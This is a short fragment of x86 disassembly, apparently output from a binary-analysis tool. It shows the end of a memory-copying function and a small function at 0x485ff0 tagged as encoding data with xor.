add eax, 8
push eax
call fcn.00485595
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x4321d1
push eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x4321e2
push ebx
call fcn.0048559b
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 4

Function at 0x485ff0
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 4]
mov eax, dword [esp + 8]
cmp edx, 1
jle 0x48600e
push esi
lea ecx, [esp + 0x18]
dec edx
mov esi, dword [ecx]
add ecx, 0xc
xor eax, esi
dec edx
jne 0x486003
pop esi
ret